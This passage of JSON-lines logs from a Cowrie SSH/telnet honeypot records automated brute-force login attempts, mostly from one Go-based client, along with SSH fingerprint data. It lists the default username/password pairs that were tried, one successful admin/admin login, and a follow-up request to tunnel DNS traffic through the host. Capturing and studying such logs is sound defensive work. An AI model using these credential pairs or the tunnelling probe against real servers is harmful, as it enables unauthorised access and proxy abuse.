1@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:52.186737Z","src_ip":"141.11.88.14","session":"190013d3ce8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Aa123456","message":"login attempt [ai/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:52.733178Z","src_ip":"141.11.88.14","session":"190013d3ce8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:53.869710Z","src_ip":"141.11.88.14","session":"190013d3ce8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":45822,"dst_ip":"159.203.135.109","dst_port":22,"session":"891001564830","protocol":"ssh","message":"New connection: 103.27.238.114:45822 (159.203.135.109:22) [session: 891001564830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:54.496967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:54.506863Z","src_ip":"103.27.238.114","session":"891001564830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:54.765628Z","src_ip":"103.27.238.114","session":"891001564830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1234567890a","message":"login attempt [root/a1234567890a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:55.543496Z","src_ip":"103.27.238.114","session":"891001564830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:56.804045Z","src_ip":"103.27.238.114","session":"891001564830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48766,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f78cc9bdb34","protocol":"ssh","message":"New connection: 141.11.88.14:48766 (10.17.0.5:22) [session: 9f78cc9bdb34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:59.665465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:59.733936Z","src_ip":"141.11.88.14","session":"9f78cc9bdb34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:59.811530Z","src_ip":"141.11.88.14","session":"9f78cc9bdb34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin@123","message":"login attempt [ubuntu/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:00.439324Z","src_ip":"141.11.88.14","session":"9f78cc9bdb34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:01.526679Z","src_ip":"141.11.88.14","session":"9f78cc9bdb34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48796,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f3c281f7866","protocol":"ssh","message":"New connection: 141.11.88.14:48796 (10.17.0.5:22) [session: 7f3c281f7866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:07.288905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:07.620600Z","src_ip":"141.11.88.14","session":"7f3c281f7866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:07.624068Z","src_ip":"141.11.88.14","session":"7f3c281f7866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"password","message":"login attempt [www/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:09.141702Z","src_ip":"141.11.88.14","session":"7f3c281f7866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:10.271157Z","src_ip":"141.11.88.14","session":"7f3c281f7866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22364,"dst_ip":"10.17.0.5","dst_port":22,"session":"9980825ed5e8","protocol":"ssh","message":"New connection: 141.11.88.14:22364 (10.17.0.5:22) [session: 9980825ed5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:15.199230Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51092,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aad8a99f97b","protocol":"telnet","message":"New connection: 128.199.8.54:51092 (159.203.135.109:23) [session: 8aad8a99f97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:15.397752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:15.850191Z","src_ip":"141.11.88.14","session":"9980825ed5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:15.882270Z","src_ip":"141.11.88.14","session":"9980825ed5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:17.542815Z","src_ip":"141.11.88.14","session":"9980825ed5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63440,"dst_ip":"10.17.0.5","dst_port":22,"session":"641f1359ab06","protocol":"ssh","message":"New connection: 87.251.64.176:63440 (10.17.0.5:22) [session: 641f1359ab06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:18.761377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:18.767223Z","src_ip":"87.251.64.176","session":"641f1359ab06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:18.870956Z","src_ip":"87.251.64.176","session":"641f1359ab06","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:19.188556Z","src_ip":"87.251.64.176","session":"641f1359ab06","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:19.298199Z","session":"641f1359ab06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:19.399765Z","src_ip":"141.11.88.14","session":"9980825ed5e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:19.402629Z","src_ip":"87.251.64.176","session":"641f1359ab06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:19.508055Z","src_ip":"87.251.64.176","session":"641f1359ab06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":61766,"dst_ip":"10.17.0.5","dst_port":22,"session":"47cf7ac59dad","protocol":"ssh","message":"New connection: 141.11.88.14:61766 (10.17.0.5:22) [session: 47cf7ac59dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:22.221904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:22.618528Z","src_ip":"141.11.88.14","session":"47cf7ac59dad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:22.623470Z","src_ip":"141.11.88.14","session":"47cf7ac59dad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:24.542839Z","src_ip":"141.11.88.14","session":"47cf7ac59dad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:25.885547Z","src_ip":"141.11.88.14","session":"47cf7ac59dad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":76.57568264007568,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:27.668049Z","src_ip":"94.23.66.112","session":"2ce6298b0373","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48666,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8fe2fbf8846","protocol":"ssh","message":"New connection: 141.11.88.14:48666 (10.17.0.5:22) [session: d8fe2fbf8846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:31.156256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:31.449188Z","src_ip":"141.11.88.14","session":"d8fe2fbf8846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:32.719127Z","src_ip":"141.11.88.14","session":"d8fe2fbf8846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345@","message":"login attempt [root/12345@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:34.046812Z","src_ip":"141.11.88.14","session":"d8fe2fbf8846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:35.221869Z","src_ip":"141.11.88.14","session":"d8fe2fbf8846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48984,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ddac82ff9c","protocol":"ssh","message":"New connection: 141.11.88.14:48984 (10.17.0.5:22) [session: 00ddac82ff9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:39.160252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:39.270654Z","src_ip":"141.11.88.14","session":"00ddac82ff9c","protocol":"ssh"}
